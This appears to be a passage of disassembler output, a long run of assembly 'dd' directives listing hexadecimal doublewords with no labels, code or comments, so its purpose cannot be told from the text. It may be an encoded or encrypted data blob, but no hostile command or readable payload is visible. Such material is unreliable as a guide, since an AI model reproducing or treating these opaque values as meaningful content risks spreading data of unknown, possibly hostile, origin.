		dd 0D18C6ED6h, 0DF64BF66h, 5C6F2120h, 62A3A50h,	0B6682F40h
		dd 79AF2579h, 0D419ACEh, 67E8245Fh, 0CB05D1A9h,	80875799h
		dd 0DFBBF344h, 1FCEF09h, 9E3116DAh, 0F429C4ACh,	0B140DEB0h
		dd 581AC0F7h, 0CC1A682Dh, 0CE25530Bh, 0E90B0116h, 2C268E9Fh
		dd 0CA7C0555h, 27B850E0h, 7ECE670Bh, 5C8B0051h,	253AF6Dh
		dd 52C3F681h, 43D53891h, 3431CFF3h, 55CC2F14h, 3BF00BBDh
		dd 10A454E7h, 68A5C183h, 3EAD26CBh, 0D5E06BDh, 0C3260944h
		dd 0D0CA5B7Ch, 8C1BBC5h, 0CC2A1C0Fh, 6AFDEF25h,	62B55E25h
		dd 0B5E587F0h, 7CFA4730h, 336320BCh, 81114F09h,	34E69CBAh
		dd 820EEE5Ah, 0ACC0D6F6h, 0F64B1005h, 2F107ECEh, 0A6C898C6h
		dd 5A1C5BDDh, 0E804AE04h, 8AD278E9h, 95E7A229h,	1AE6D5FDh
		dd 0F46E0F20h, 57380077h, 0C3A9BBFh, 69C3162h, 5ADD5CA7h
		dd 0ACC2B3D4h, 0E068017Ah, 0F9CC3A45h, 0D6B19D9Bh, 5037A661h
		dd 27EED127h, 494F4EF6h, 219FC0F1h, 0C15F0FFDh,	4D6406E5h
		dd 9D65AFAAh, 247E81BDh, 8074AD4Fh, 737A0668h, 35005838h
		dd 489F596Dh, 2D44170Dh, 68DC1674h, 36852D1Fh, 3AB4785h
		dd 90AEE994h, 0C2534230h, 9A2B1003h, 0DEF1D64h,	0E440E5C1h
		dd 0EBF7CF29h, 56D11198h, 6824D2A1h, 1CFD4BF6h,	0AF6D5DA1h
		dd 0F2038322h, 0BCB6A851h, 206E7FB1h, 6609A3E1h, 8722BBBAh
		dd 0E3C4D349h, 8832F1F8h, 0D0DC8A0Eh, 2EB1F582h, 0A47E187h
		dd 0AC4E2F38h, 0F01F16D0h, 5C1A7CEAh, 0E9D0500h, 0B9E93C58h
		dd 73E89D8Ch, 973D2AAFh, 0AF7A410h, 5FCE6884h, 0F734EFh
		dd 3BBB53DBh, 4009F157h, 8105E3C1h, 6C5EC40Dh, 0DE6DE9D8h
		dd 0E35C2595h, 63099820h, 0D7586E04h, 8E00B38Bh, 9186C1Ah
		dd 1F335B80h, 9293797h,	8B8BE957h, 1F6E1EC8h, 0CB07AA27h
		dd 0B109C79h, 13319979h, 0A5323166h, 32243F6Ch,	0DFF6C7C1h
		dd 32E28000h, 612861B8h, 0D55FAC28h, 89BA54C5h,	53BB4491h
		dd 0B2406780h, 0CADEB57Ah, 82985764h, 9501F668h, 0DE928471h
		dd 666F4DE1h, 2D625E28h, 6C157A33h, 146474C2h, 0E0D106B3h
		dd 7D20CB09h, 0AF9B20D7h, 2F1ABA02h, 0D609A0E9h, 7528BF61h
		dd 0A9F63E1Ah, 0E07BF84h, 0A349C452h, 4C3F8BBEh, 36C205BEh
		dd 0D3A83EDAh, 5808C328h, 0F8C4685Dh, 0D144FB6Bh, 0C8177F7Bh
		dd 6531685Bh, 0BF6E7772h
		dd 9361FA0h, 62E4C37Fh,	10ADBC80h, 2AB85129h, 0BEA57224h
		dd 28233A40h, 9DF5AB40h, 0A95621EAh, 17F80417h,	46D6929Eh
		dd 24DC88BDh, 8701F15Fh, 0DACB805Ah, 0F874EBCCh, 0F7716553h
		dd 0D81780E6h, 5A48636Bh, 2D0601FFh, 1698DABh, 3E3DF13Fh
		dd 2AE9FF8Ch, 0F7910AFBh, 0C680726Ch, 57D3342Ch, 1CC74E71h
		dd 9793D69h, 2290D571h,	659225E9h, 0C03996B5h, 3BC6BF22h
		dd 0E9134F5Dh, 109D959Eh, 97CD902h, 1CE8F7Dh, 2B8E5E65h
		dd 9C6B8930h, 0A37E5228h, 8148EF0Bh, 0D2F74A4Dh, 2420492h
		dd 0F027909Ch, 5BF262C0h, 8632113h, 5C8D3CFAh, 6271682Dh
		dd 528F5145h, 0D9B7A752h, 0F36A1700h, 7B680B2Dh, 0DAAB1A16h
		dd 0FD43F833h, 92FAF63Bh, 0E9F17EECh, 66F75368h, 0FD480C9Ah
		dd 659D0785h, 7E303EF6h, 1C18019h, 0F873666Eh, 0DF289FE8h
		dd 722EB740h, 5582FE9h,	9EC294Bh, 4B62D39Eh, 84FD010Bh
		dd 67ECB6DAh, 0C65FAEA2h, 5E5E389h, 593A207Ch, 0D77B1187h
		dd 0EAECB448h, 0F9080649h, 9F72BBADh, 90E992F3h, 159D6181h
		dd 0B52EE9C3h, 1BEAD4Fh, 48E0196Eh, 3197C29h, 665D5F0Ch
		dd 0B951F173h, 864ED56Bh, 3E95A747h, 1049DA0h, 9439FF57h
		dd 0A093817Ch, 7C0E6932h, 0C45B466Dh, 13B30EB6h, 4081CA3Eh
		dd 41D1F706h, 0EB57CE87h, 0E8087B62h, 0FCE91692h, 9155417Dh
		dd 2A2AF622h, 73F6B386h, 152609F5h, 8762D7Ch, 0CC085393h
		dd 9A728DDh, 23050A4Dh,	70B558F0h, 20710457h, 0FC310839h
		dd 0D674B6C7h, 50A103ABh, 79D1E2B4h, 9BA36F12h,	6086AF58h
		dd 6E3AA169h, 0E74CA675h, 0F6AEB0Ch, 0E9D80C89h, 0CB93B156h
		dd 0D1238709h, 4977E73h, 8467272Ch, 5B60AC76h, 9F6989A6h
		dd 4B24967Fh, 4C5BD1D3h, 2E8005B5h, 212B014h, 32C0CA81h
		dd 8EC041A1h, 7FC06D1Ah, 0E5908CEh, 2ED900Dh, 6AC45BCFh
		dd 8CF2D0E9h, 292CD8F4h, 0F70EEBE2h, 24EA83F6h,	0DA0E004Fh
		dd 87289825h, 6C443DFh,	74906BE9h, 2FF4F280h, 1965D030h
		dd 0A5B0A3A0h, 4CBD0E20h, 8339C409h, 9711F6F7h,	7118EDC2h
		dd 0F8B1B30Fh, 0C568AD0Bh, 7460AD22h, 51956EEEh, 0B75D951Bh
		dd 887F2243h, 62164CB8h, 0F006B8Dh, 3E360D08h, 35751C41h
		dd 100445A2h, 0D1148821h, 1950F37Eh, 720FEDD7h,	54297B8Dh
		dd 7C0841F2h, 19E9C401h, 3FF20994h, 0F92A1962h,	95C196D7h
		dd 3A7774A9h, 5EE577D1h, 0A3105C24h, 925A1750h,	8D822757h
		dd 0D020EB72h, 6EAEC1CDh, 0F9647701h, 3436833h,	19E66687h
		dd 0D45C1C59h, 0E9704536h, 0EE0AE409h, 0D14E4907h, 9FC3461Bh
		dd 0CA4F609Ah, 6D213AA0h, 6355828h, 4789219Ch, 4FC8D47Ch
		dd 0FA9DE104h, 5539023h, 15017870h, 1AF5B039h, 0E933FC05h
		dd 0DE61A92Bh, 7582D5CFh, 82D46CDh, 0F3B4605Fh,	0ED14B71Ch
		dd 1728B20h, 0CB3DA0BBh, 30D80173h, 294DE237h, 5640C176h
		dd 0B307A3Eh, 0E3A264Bh, 58F10122h, 3069B60Dh, 0C9FE0811h
		dd 0F973E00Ch, 1F452A41h, 951084EFh, 5201E023h,	922AED68h
		dd 89467873h, 4F6ED95Fh, 1EB220E6h, 5AF7282Eh, 7DACCF0Eh
		dd 0F8304D80h, 0A0C2885Bh, 887E3A7Dh, 510759C6h, 0D62967DFh
		dd 56034DDEh, 0BCDE002Bh, 31272E4Ch, 9DCA0180h,	0F19D8FCCh
		dd 0C1386238h, 67098240h, 8850B0B4h, 34AEA50Eh,	7A44AE4Dh
		dd 0F11709FAh, 6069802h, 24756BA8h, 238BAA2h, 30504829h
		dd 8808F44h, 0DEA87DE9h, 579B353h, 0D45BD92Ch, 0F1C6621Ch
		dd 90C488A9h, 0ECFEE821h, 82842DE9h, 78407D48h,	261D6D24h
		dd 63412BFh, 117F9020h,	5C2B4C5Fh, 4351B301h, 25F0E917h
		dd 0DDB2E347h, 6C953E50h, 55019790h, 73033268h,	2C6B4C59h
		dd 0F91CCEDFh, 0ABBD55C3h, 0D501B26Fh, 568EB993h, 0F6EF8225h
		dd 30C37B60h, 0D22CD881h, 0E952A181h, 7A133B26h, 5D8F5EABh
		dd 96D50BB6h, 53008354h, 0D6047DBBh, 5CC1FC76h,	328F7C9Ah
		dd 869F509h, 8CA12FDAh,	0F320F861h, 7F652644h, 0B8813DE7h
		dd 9D66457h, 1BF07ED7h,	0E5807046h, 1FAB807Eh, 0CC01C13h
		dd 3C15A58h, 0ADD42AE9h, 0DE8927B4h, 5E2047C0h,	0ABE35B4Ah
		dd 0FAA3E909h, 0C2CFE825h, 0C6D6DB94h, 7DD4F7C2h, 68058B65h
		dd 0FDCD08ACh, 930DCE30h, 0D0372CF8h, 5F5E9568h, 0A6A5A9ACh
		dd 0DA682FA8h, 0EDE92522h, 0C5EA0A48h, 25340E18h, 28157558h
		dd 6973580h, 1D143937h,	4C041A4Ah, 89C0A882h, 0E3D7B281h
		dd 0AEE4181h, 0EC451703h, 0F4A5B594h, 0E187A73Dh, 3E3830C8h
		dd 58B11A10h, 0E58C504Ch, 517D605h, 0B20B4D0Fh,	0DE7CB21Bh
		dd 8A64872h, 0A73B80F1h, 0B03AC5DFh, 8D5EE9EBh,	7EE65C4h
		dd 59E2BE80h, 0F53750A3h, 5B0C7855h, 966DF413h,	7036CC4Eh
		dd 0A291FA45h, 52029367h, 0E90A0E0Ch, 0AFF497D9h, 8A7D136Ah
		dd 3309BC9Bh, 3F7DF9F0h, 0E992B317h, 18BB9313h,	2ED590D7h
		dd 39077526h, 0BA02D410h, 4D1A2965h, 40088957h,	52AE857h
		dd 0FE9B705h, 0E032EC8Ah, 2D4FE32Dh, 55D005DAh,	2BFEDF35h
		dd 74B53E44h, 0BC1CAF12h, 78AD5557h, 2348329Bh,	1F65054Bh
		dd 0D0BB7229h, 91F7C3FBh, 3175825Ch, 51E97FDEh,	0BD02BC6Ch
		dd 782A2C44h, 557DBD60h, 0C544630h, 0A0D40AF3h,	0B4FD31B6h
		dd 1F51655Ch, 11A88D40h, 94E02BC4h, 688940CAh, 9A25F12Dh
		dd 512BDD40h, 91DDE5ABh, 4B936C06h, 55E4C2EBh, 68606754h
		dd 0B92F0Bh, 0F6815E3Fh, 846577Dh, 58E2CFA2h, 93947DDh
		dd 0BB5ACE22h, 0EC134209h, 4473D1C0h, 5AF491F3h, 43C57E28h
		dd 0B0CC67FBh, 0E96504D8h, 0C45F5Ah, 0B4E49BF8h, 0B6407996h
		dd 88395CB4h, 681D9B20h, 0C8A52816h, 2512E26Ch,	9D0266FCh
		dd 0C4D60783h, 8DEBCCC4h, 568A2A4Ah, 66868322h,	0C4D2212Fh
		dd 75A28AF6h, 0CB2CD1E7h, 2DD82940h, 0E94C127Ch, 0D96B0132h
		dd 70186178h, 260F2B1Bh, 7AF74048h, 0C11FCA04h,	0EE12DEC1h
		dd 0C7FAE3C4h, 3C3043B1h, 585F6A3Dh, 0E1036F6Fh, 2957680Ch
		dd 2F8BBFE5h, 54C5E903h, 3A046A5Ah, 0B7894784h,	75E43BC2h
		dd 631ED3A2h, 25843CDFh, 0BDCE821h, 55E9C8C9h, 4A4F0F68h
		dd 57CE0699h, 16232FE0h, 0AA4AE96Dh, 44B0055h, 2037F48h
		dd 527C22EDh, 0E90C0C6Ch, 0E333EAD5h, 4D01A50Ch, 1EEF9625h
		dd 6C51C873h, 1CD630FEh, 0A31D66C2h, 92D3CE89h,	0FF3051E1h
		dd 0C4B03850h, 0AD58C21Dh, 0E22D4AF6h, 37EEDF26h, 0BF8185FAh
		dd 396420C1h, 935145C3h, 0C0B05724h, 5E0F1367h,	96FC41Dh
		dd 84F15607h, 7B4924Fh,	0B8655E87h, 0F84BDE9Ch,	3C794977h
		dd 8FC54747h, 23E0CB1h,	1773BF97h, 2D5EDC2h, 0F6874FA9h
		dd 38B35844h, 3F6798B5h, 34108373h, 0BD02A5C4h,	1D350958h
		dd 661056E1h, 74300124h, 0A1E92DE1h, 5F28B728h,	0ECC0253Ah
		dd 0D292597Bh, 5B06E2B4h, 68FFC862h, 25227324h,	0F4531C96h
		dd 61EE3E71h, 0F0840F00h, 0DD41FB5Bh, 364B4760h, 480DAC30h
		dd 68366C32h, 0B32F4EE1h, 9F5F51F3h, 0ED70DD58h, 8B41381Ah
		dd 45901C9h, 78DE9621h,	0EA883FA8h, 20C76D92h, 0A63CD96Eh
		dd 3F29123Bh, 84721750h, 0B8B6B2E4h, 0C1D544CBh, 227D8F7Fh
		dd 0DA4B1DF6h, 2923133h, 0D4CD81EFh, 0E9601219h, 401359F5h
		dd 0F5431FF1h, 409AF67h, 14942B18h, 7C8EEAC2h, 12CDFD4Bh
		dd 12E8BC16h, 828A68B7h, 0E10F64B0h, 5407691Eh,	208A08Eh
		dd 0E9F3295Ah, 2975DFA0h, 688900BBh, 97750452h,	74AF0BA0h
		dd 709D0996h, 0BD055E25h
		dd 255448B8h, 9406448Fh, 475C2DFBh, 21267A5h, 0DD2055BDh
		dd 8F0D335Dh, 0B5896988h, 0FBA58559h, 995C655Dh, 0D5C00101h
		dd 0C40E38A7h, 0B800CCBEh, 5401609Fh, 83030E5h,	8129584Ch
		dd 578867C5h, 7A0B3D32h, 0DD097D10h, 0EE93D22h,	315A4A48h
		dd 688CD74Eh, 9B7AB52Dh, 7F000571h, 0F8297A4Dh,	0C90D24E9h
		dd 0C9845D96h, 5BD3E3E3h, 0E916FCB7h, 0C7F1B48Ah, 2101980Dh
		dd 6FF00C05h, 0EC855E5Eh, 0E0178FF3h, 0BD55367Fh, 0E977138Ch
		dd 20EE012Bh, 2A300ADAh, 5F1F10E4h, 2085CBEEh, 6022C47Dh
		dd 34DD1ED0h, 70C6DEA7h, 0E9BE6A9Bh, 0FE16919Ch, 1F2103BEh
		dd 0F7D9AD03h, 6EDFC9D7h, 0B2664B81h, 0C1B45000h, 0F0E6882Fh
		dd 91920D8h, 0B9DAF626h, 1FBD5712h, 0BD672F7Eh,	5EAFD97Bh
		dd 3A7427E5h, 0B5D7A150h, 0C2421D69h, 0EBB32343h, 981C56BEh
		dd 0D8255804h, 0C1182649h, 0ABC697F3h, 48E63907h, 524CE23Eh
		dd 539940B2h, 8F81DB7h,	0C24AB1FAh, 21D0C197h, 0B69F116Eh
		dd 25A6DD7Dh, 23A36E00h, 0E43FCF41h, 0DF0A01E1h, 0B9A312E9h
		dd 0A4047D52h, 0BBE1B0DBh, 0C06CB13h, 1DDA4505h, 0F90F39BFh
		dd 26F67C07h, 79021C45h, 0D64B8818h, 3E7A0C60h,	0EF59010Eh
		dd 26F9D2B3h, 287CD810h, 2AF7CA5Bh, 0CF720B12h,	5F372214h
		dd 0D46696F5h, 9113A84Ah, 7F8E90D1h, 5901F03Dh,	0E319E4BDh
		dd 0ECDE94Eh, 8C6D283Bh, 0D6446C41h, 0E82BD5C2h, 0FE5658ACh
		dd 0ACA14E03h, 6CDFB7FCh, 0EF8FA8h, 0D141B960h,	425FFA89h
		dd 0F097EAEAh, 606C386h, 81CD814Ah, 20A19010h, 11123587h
		dd 0B5B84895h, 2C59E40h, 6EF12630h, 375888E9h, 0A49D5A4Bh
		dd 77818EE5h, 64BD58EBh, 21E72D6h, 70A874F1h, 5F88020h
		dd 95280869h, 2408DCA8h, 5494AD5Ah, 0C2E927h, 38A0BA7Ah
		dd 707A642Eh, 0CF47BC63h, 48E8B668h, 7499A4Bh, 73E71417h
		dd 0D78689B9h, 0D0F70A00h, 640C2D48h, 5A383A07h, 0B7B880BCh
		dd 66763B09h, 7D16FD29h, 14846AF7h, 0D7A21317h,	5BE2F1CBh
		dd 280338E9h, 0C530090Ah, 5EA2F536h, 470ABBA8h,	4CA95D12h
		dd 63C665DEh, 0E3DE928h, 39EAC858h, 57EE934Ch, 61718AEh
		dd 0EB5ED104h, 8B475D02h, 0D63D604Ch, 3CF72653h, 0BD4A083h
		dd 64FEF204h, 8ACE0D58h, 0F1A9336Eh, 0C8A22DDCh, 0AB5C5DC3h
		dd 538B7749h, 0B95CE678h, 0DD9EC422h, 0B24FE18Ah, 7513D2A2h
		dd 32AF0CC4h, 0E85D5B81h, 82D1F41Ch, 0F9E5D10Eh, 6105881Dh
		dd 0BE899C5Bh, 0DC3B0831h, 0FCBA73B1h, 2D89ED97h, 102ED547h
		dd 0DA75448Bh, 0BEAE9B6h, 6C890156h, 0A327FBA6h, 0C83ACDAh
		dd 0D6BFD975h, 0FC1EE0B5h, 899A1F4Eh, 757FCBF0h, 0CC674BDCh
		dd 7FDC25F8h, 0AE14C50Eh, 81EDA5D5h, 2BE3ABC5h,	58C2300Fh
		dd 43FF2C7h, 0EAC8EFD3h, 0D1BF5AD7h, 38702070h,	9865E4CFh
		dd 0CDFAFE85h, 5B982A84h, 30EA4171h, 18B0C10Fh,	0BDA9DA4Ah
		dd 2D20B986h, 1E73C620h, 0B40478Fh, 8E685CADh, 0A916044Ah
		dd 0FCA90125h, 0AB32D204h, 7578267h, 30293E4h, 1D59969h
		dd 0E178C2D8h, 0F23F4A7Ah, 10BA4050h, 0DC3ED112h, 9E56116h
		dd 2CE9CC60h, 8BCCE7EAh, 31B0D631h, 59BFF729h, 4B825A32h
		dd 7FE6A651h, 0F6AEB60Fh, 813A84DEh, 0CABE0A94h, 97680989h
		dd 6E6C7C37h, 0A137AC37h, 0F23FC629h, 0DF0C93C5h, 4EE573FEh
		dd 6BA7F157h, 8E43550Ah, 1FD9433h, 5A58527Dh, 0F11C4709h
		dd 0D6073A92h, 0C327DE88h, 9EFF044h, 3162E76Bh,	0E58A8074h
		dd 4F47E6C0h, 0BBBF086h, 95FFE89h, 3E817887h, 63450297h
		dd 0D0D2ECE9h, 9829ED05h, 7FE99CD2h, 0FD870613h, 2BA8C941h
		dd 2DDD0562h, 5FFA93FEh, 5BA6E38Fh, 59CFA901h, 8F9B652h
		dd 0EF0BB178h, 940E5027h, 0C67B81CBh, 735BB609h, 41123D44h
		dd 0E7ABCC3Fh, 1B761602h, 9B0EEE9h, 0A9BD6502h,	5569EC76h
		dd 0DC20D295h, 8FD7539Fh, 0E2F39168h, 57C9CAh, 73697A96h
		dd 6A649D5Bh, 7A05ED89h, 4EE2495h, 0AFCAD097h, 79C54641h
		dd 68822322h, 61B8765Ah, 6FC4B280h, 57B8264Eh, 2234C30Ah
		dd 0D902C928h, 417EAEB4h, 0AB05C22Ah, 1705F304h, 53D45C09h
		dd 90C6D346h, 0D68920D6h, 738D60F5h, 13D645F2h,	0D14E3980h
		dd 76290EEh, 0D0F3A67Ah, 92487C56h, 70125A13h, 7177DC4h
		dd 0B70038BCh, 10EA94Ch, 3B27E9CAh, 5E63BA7Dh, 849B424Ch
		dd 9D60F1DEh, 3F01F73Ch, 2AA6CB21h, 6BD1AFD0h, 0D0420E60h
		dd 7EAAD44Eh, 0DDC67627h, 0DEC5E397h, 5A7A35E6h, 0EC05BFD5h
		dd 0CFAAFCE6h, 83445AE3h, 5E03DBB7h, 8EC1F221h,	19E76E90h
		dd 56B4004Bh, 86546468h, 0E55E7526h, 9FB95100h,	638A79ABh
		dd 945B9E31h, 43EEC903h, 0B078863Fh, 0FAD0D6F6h, 7429DB4h
		dd 3A2E37Ah, 59014C65h,	515E5456h, 3DD48D31h, 55B4028h
		dd 0C30BADA1h, 93647FF2h, 0A4363A09h, 0CF808029h, 90EE087Ch
		dd 89A7600Eh, 0A59021F3h, 0DE894413h, 59134065h, 0E936F9EDh
		dd 0C6043350h, 507D18F0h, 5D2004BBh, 3B748905h,	342B649Dh
		dd 7F3046Dh, 0B25200EFh, 12CA8003h, 5B4502Ah, 82DCF4EDh
		dd 4E5BC2F3h, 0E9F910ADh, 12B2B6BFh, 0B2B9F801h, 0E89A4050h
		dd 583D0D09h, 2B0BEAB8h, 4AD699A4h, 0E4CDCD10h,	1BB792C8h
		dd 0CBEA9C0Ah, 606813BAh, 0BA7261BAh, 0C4303B73h, 0B01F16C9h
		dd 17AE3166h, 6F607735h, 562D948Ah, 4CD21D79h, 809B4E99h
		dd 0AFC280BFh, 3E4FCD98h, 76D08182h, 0E4E42771h, 9D5263F4h
		dd 3AF401D8h, 0D6013267h, 66E8873Eh, 5B0E1EF5h,	6B0EE180h
		dd 819C84C9h, 9BD07B0h,	6F516865h, 0B10B02DDh, 0D8F20901h
		dd 5C948020h, 5701605Ch, 8A621BBFh, 3556F922h, 84F02E6Eh
		dd 81D73AF7h, 0C027B582h, 0AD429CCh, 7405ED0Bh,	0DDE90B03h
		dd 0AAC2FF29h, 27D2CE2Bh, 86CB534Fh, 30340221h,	588B8CD1h
		dd 685A4787h, 139879F8h, 8CB7D5B1h, 402EFE52h, 0D12D68BAh
		dd 4BDF4632h, 0BBD3C4D6h, 5C348A9Bh, 7421EB2Fh,	55035FBFh
		dd 3BCFA9B1h, 7FE92B29h, 0D1F75D00h, 97B70B7h, 0CC355AC9h
		dd 0A371AF02h, 1025C02Fh, 6901050Fh, 0E4401AF9h, 4AB5215Dh
		dd 6260593Dh, 5000C73Eh, 5A315859h, 9255AC4Ch, 0B215CDE1h
		dd 28771C00h, 0B050CBh,	0F62B2C8Ch, 8E8C0D0h, 6DDE0E6h
		dd 0DAE90382h, 0F28BCC5Ah, 8F1B4D2Ch, 26B9684h,	51DD3159h
		dd 0BF29441Fh, 734DB6CBh, 1C63B910h, 0F11E78B1h, 28C3B856h
		dd 0C5FEAC2Dh, 2481FED6h, 47ACEB01h, 7DA210DBh,	6DFA42EBh
		dd 65B8F809h, 0C4569FE0h, 0BEC44759h, 55DEB095h, 2E3EE681h
		dd 74422F5Fh, 0F708B092h, 6EF187DDh, 5577FE0h, 0ED738A68h
		dd 0BEDEC06Eh, 0CF0E1C80h, 0F3D4E977h, 0F6BA5F49h, 392BD3Ch
		dd 60F19DF6h, 0B94B4D50h, 9710A8A3h, 27573F9Dh,	0D268E1F2h
		dd 97F55E6Eh, 0EBD1E414h, 892C340Ch, 13BA0C6Bh,	908FB16h
		dd 966EB1DAh, 307A5258h, 0C6683D0Ah, 31E6BD72h,	9C55CA82h
		dd 0EC4B20A1h, 0BBE4801Eh, 0AFC23016h, 1155C0B0h, 0E1BFCFADh
		dd 0D3620AC9h, 963F06F4h, 8DA3610Bh, 0C9308922h, 7BB91856h
		dd 325B245Eh, 948A476h,	400E30Eh, 919316F1h, 0CD31A90Ah
		dd 8225EF59h, 0C853DC64h, 82921ACDh, 6C602242h,	601670F7h
		dd 68FC91C0h, 0EBC6125Eh, 2CE37231h, 5AB6BC14h,	0CE904EFDh
		dd 0B46CFD5Eh, 7EC20E40h, 2E60913Bh, 2063F201h,	77E91208h
		dd 5B7CA30Ah, 788B72D9h, 50E3A668h, 3A744DA9h, 8322EDF3h
		dd 3B560FCAh, 1EED0196h
		dd 8B2A2748h, 156804A2h, 0EF30EB6Dh, 33D4601h, 2D705228h
		dd 2412C146h, 3E213C96h, 20500E0h, 3292745Dh, 0CC4ACCE9h
		dd 2604F48Bh, 61FE89D0h, 14D1CF35h, 895C2CF6h, 806A0155h
		dd 0E230CA39h, 25DE9C30h, 647AF876h, 1467BDA0h,	0D20D020h
		dd 0BCF94C2h, 0B332DFDDh, 0B7CEE6A2h, 0E6685C00h, 516CBF0Dh
		dd 0F92BE92Fh, 9306084Dh, 0C0A85417h, 48BA2810h, 13503CF7h
		dd 31FAC91Fh, 3F171897h, 63B46F74h, 0B3555F35h,	8FD812D1h
		dd 0ECC4D4ACh, 0FA68027Fh, 0CA159013h, 777195C7h, 5B2C83C9h
		dd 0DFF52E7Ah, 0BFF11A65h, 6812B670h, 0BE443352h, 0B507AAD3h
		dd 5EA0724Fh, 0A10426ECh, 29441D70h, 83CE7CD4h,	97F1E90Ch
		dd 3059CEA7h, 0A2EC8406h, 57F709h, 607B222Ah, 5937802Eh
		dd 184AA330h, 4EBBE2ECh, 0D2BD92DCh, 504E878h, 34A84159h
		dd 1440AAC5h, 562396BDh, 0D233953Bh, 92FFB6FAh,	6AC50216h
		dd 0ABF70B5Ah, 88753D4h, 5027BD09h, 6740C823h, 2DF80104h
		dd 93F188EAh, 0CB50B348h, 3CD682B2h, 8918D50Ah,	4082996Ch
		dd 0B6021949h, 3057EB8Bh, 30E9DE8Fh, 81CFF78Ch,	4C01CF6Bh
		dd 4F09B850h, 0D0F878EAh, 9D920135h, 3DE9B261h,	10C2362h
		dd 80FB951h, 0F741098Eh, 73820D5Fh, 785B8BEAh, 0F9F232C0h
		dd 0B510913h, 99343A0h,	52110D5Eh, 7A9F5558h, 3EECBFF6h
		dd 8C4F94Ah, 0A24A0DF6h, 78547579h, 0F25C31B4h,	0ED0985C3h
		dd 0B9A551FCh, 438E5A79h, 294FE921h, 3C9DF89Ah,	0D21370BAh
		dd 0F1084109h, 826CB34Ch, 5E0796D6h, 0C2615539h, 22BF6031h
		dd 0C3818360h, 3EAE3F7Bh, 7D2A4377h, 0F0FCB09Ch, 0B0914A46h
		dd 6C024F76h, 0EE837FE1h, 0B425D701h, 3198CAFEh, 5EA9F533h
		dd 124B0223h, 0B7F1A5Ch, 568BD971h, 0DEAC0451h,	7E70FE52h
		dd 602FD273h, 566DD66Ch, 0E9133F94h, 86E2035Ch,	88506607h
		dd 0DCA6C2D4h, 30FA44EAh, 249526F4h, 91AEEE17h,	6F215B43h
		dd 0A23EA0B1h, 0C0A7CB70h, 2715B5C9h, 3DE5166h,	3DFE53BBh
		dd 0E9DD8402h, 659672CDh, 0C9C85C84h, 0FCC17874h, 29C9C9Eh
		dd 5375DABDh, 0D75615Fh, 133EF4D4h, 44FA48E9h, 0B273BC04h
		dd 4B869038h, 0CD2A7029h, 5AF5EC3Eh, 2D499D17h,	87B52BEh
		dd 112873BFh, 48CDA220h, 9502AA5Bh, 9014E4Fh, 60B0FAE4h
		dd 8824C092h, 9A138FE6h, 0C1C1AFC3h, 2A708102h,	7ADB3B6Eh
		dd 1F20F602h, 0FDFC0417h, 58911502h, 8A416148h,	0C8CA342Eh
		dd 5A2668B2h, 5460C52Dh, 0B4EE7FE9h, 6D8E625Ah,	0CF816600h
		dd 8E655CA8h, 0ECD4F513h, 0AC94E797h, 0F80835AFh, 67377CBBh
		dd 564BB52h, 70B42B82h,	48593C1Bh, 31BEE387h, 0E516F6FFh
		dd 6CAFB800h, 13B9715Fh, 0FE127D39h, 13009417h,	8F8CBC01h
		dd 0D91E8451h, 2B71AB17h, 0B1462328h, 6C88390Fh, 0F5665125h
		dd 90E90A80h, 55CD714Bh, 0BBCBBE7h, 0C33059FFh,	0C5D5BD62h
		dd 0F429289Ah, 0F59BD2D1h, 0E4E46E4Ah, 57024110h, 9EDE3BB3h
		dd 8FE34005h, 34DCD2EFh, 13F3477Dh, 0A007574Dh,	550FF37Eh
		dd 0A520D014h, 40D464A5h, 0C8028BC7h, 0F60E5D59h, 58D053ECh
		dd 0BD21CA40h, 0C56882F9h, 2B090A12h, 276276A9h, 765C8F1h
		dd 0FD7729B4h, 0E1D3E838h, 84A22A43h, 0B698B889h, 0B1B758C2h
		dd 33705685h, 82A39CA2h, 1662CAE3h, 2D034057h, 0C47C170Bh
		dd 415DEC6Eh, 0A5772807h, 682B01ABh, 8147825Ch,	0AE50510Ch
		dd 18932914h, 0E0428DE7h, 122B7C16h, 35817278h,	6CBC2C47h
		dd 698B4682h, 0A0F1A37h, 0D32508EBh, 0E13C13CFh, 21A62F51h
		dd 475AC602h, 0EA750CAEh, 0E9080140h, 0B36FFD8Bh, 201F4A3Fh
		dd 56882F09h, 0B5798946h, 53E4EE5Eh, 0EE89D6ADh, 26B030F4h
		dd 6B2504C9h, 0D6740C23h, 1D88CAA6h, 245F16CDh,	0A913FA49h
		dd 12E9DF60h, 2279976Dh, 0C36866C0h, 0FBE92647h, 0B556A51Fh
		dd 0A550830Ch, 60CA0BF5h, 10564404h, 340B5213h,	5E0B403Bh
		dd 66C31931h, 0E6B6688Fh, 0EB40CE5Eh, 27089593h, 61F205ECh
		dd 6CED98D3h, 4085E913h, 196CB930h, 70B74421h, 410BB5DBh
		dd 0CE1E4878h, 19D3874h, 94DDFC62h, 0D5DC2F90h,	78F44717h
		dd 1BCA9F05h, 899E7887h, 0FC50E2F4h, 0D8CA885Ch, 3E89541Dh
		dd 1A29E283h, 0F2740261h, 30ED0252h, 0E545DD84h, 0F60D459Ah
		dd 0B3BC4A73h, 218EFFF5h, 0FC714914h, 0A0A8B4A7h, 680351E4h
		dd 6AF53C05h, 0A30E1659h, 0EE141D33h, 0ADCB013Dh, 3A53869Eh
		dd 139F9C90h, 0C4365A78h, 0E907022Ch, 515E962Dh, 0AEB28E50h
		dd 0E738203Fh, 87385F64h, 2D24E816h, 9ADED0F6h,	6C9C97B9h
		dd 2D8DE6BDh, 8C8235E9h, 0A6D2295Ah, 7E7C6812h,	0F7774EDCh
		dd 0F2FDBC2Ah, 3C76A8Dh, 7C89F8E2h, 8B193055h, 3772CBC3h
		dd 74294725h, 0E4E3813Ch, 306D3D26h, 3016C99Fh,	47A8250Ah
		dd 36E93507h, 215E8B23h, 37226A2Ch, 0A2103727h,	0A6807Ch
		dd 545B4DB8h, 0F7E13B5Fh, 1A78A30h, 4F46C252h, 3EA4B8E9h
		dd 5F78AAF2h, 0ECF91694h, 0F895E448h, 73EC3C80h, 9458B7A1h
		dd 757D7C09h, 0A8BD542Eh, 0C5554ABBh, 31EDF1D3h, 0D4B57FF0h
		dd 9FC7897Fh, 8D973748h, 9E4958EFh, 0DD505923h,	9B411499h
		dd 125CE5ECh, 22B1F42h,	0F51EC1BBh, 19EB21E0h, 0A40C6116h
		dd 912B0BB1h, 550298Ah,	97CBE408h, 40A1F5DAh, 0D963198Ch
		dd 0B4962950h, 0F554F88Ah, 0E57E2DCDh, 7209E3EFh, 5D8374A9h
		dd 23E005AFh, 512295Ch,	1C305D0Dh, 8FF23C44h, 7A119407h
